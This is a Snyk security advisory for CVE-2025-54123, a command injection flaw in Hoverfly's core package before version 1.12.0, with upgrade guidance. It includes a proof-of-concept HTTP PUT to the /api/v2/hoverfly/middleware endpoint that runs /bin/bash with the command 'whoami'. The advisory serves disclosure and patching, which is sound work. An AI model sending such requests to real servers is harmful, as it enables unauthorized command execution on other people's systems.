Command Injection Affecting github.com/spectolabs/hoverfly/core package, versions <1.12.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
10.54% (96th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMSPECTOLABSHOVERFLYCORE-12671221
  • published17 Sept 2025
  • disclosed10 Sept 2025
  • creditKrishna Agarwal

Introduced: 10 Sep 2025

CVE-2025-54123  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade github.com/SpectoLabs/hoverfly/core to version 1.12.0 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection via the /api/v2/hoverfly/middleware endpoint. An attacker can execute arbitrary system commands by supplying crafted input to the binary and script parameters, which are passed directly to command execution without proper validation.

Note: The implemented fix disables the middleware by default; However, if enabled, the middleware could still impose security issues.

PoC

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101

{
    "binary": "/bin/bash",
    "script": "whoami"
}

CVSS Base Scores

version 4.0
version 3.1